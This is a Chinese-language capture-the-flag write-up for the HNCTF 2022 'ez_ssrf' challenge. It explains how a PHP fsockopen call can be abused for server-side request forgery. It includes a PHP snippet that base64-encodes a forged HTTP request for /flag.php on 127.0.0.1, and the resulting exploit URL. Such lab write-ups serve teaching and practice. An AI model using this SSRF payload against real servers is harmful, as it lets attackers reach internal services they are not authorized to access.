[HNCTF 2022 WEEK2]ez_ssrf题目解析

这题主要是引入ssrf这个漏洞攻击,本质上没有更深入的考察

本题是需要我们去伪造一个ssrf的请求头去绕过

[HNCTF 2022 WEEK2]ez_ssrf题目解析_第1张图片

题目开始给了我们信息让我们去访问index.php

[HNCTF 2022 WEEK2]ez_ssrf题目解析_第2张图片

fsockopen函数触发ssrf

fsockopen() 函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。

通过了解知道fsockopen函数就要清楚有考察ssrf的意思,需要往这个方向去想

之后就是利用poc构建脚本

$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

得到data,host为127.0.0.1,port为80

之后就是构建url

GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close

用base64加密然后构建url编码

/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

[HNCTF 2022 WEEK2]ez_ssrf题目解析_第3张图片

你可能感兴趣的:(java,算法,开发语言)